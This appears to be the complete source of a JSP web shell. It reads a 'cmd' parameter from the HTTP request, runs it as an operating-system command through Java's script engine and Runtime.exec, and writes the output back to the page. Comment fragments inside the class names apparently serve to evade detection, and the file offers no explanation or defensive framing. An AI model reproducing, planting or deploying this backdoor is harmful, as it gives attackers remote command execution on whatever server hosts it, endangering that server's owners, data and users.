<%@ page import="javax.script.ScriptEngineManager" %>

<%@ page import="javax.script.ScriptEngine" %>

<%!

public static Object exec(String cmd) throws Exception {

ScriptEngineManager manager = new ScriptEngineManager();

ScriptEngine engine = manager.getEngineByName("js");

Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" +

"var process = runtime.exec(\"" + cmd + "\");" +

"var inputStream = process.getInputStream();" +

"var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +

"var result = scanner.hasNext() ? scanner.next() : \"\";" +

"scanner.close();" +

"result;");

return obj;

}

%>

<%

String cmd = request.getParameter("cmd");

if (cmd != null) {

out.println(exec(cmd));

}

%>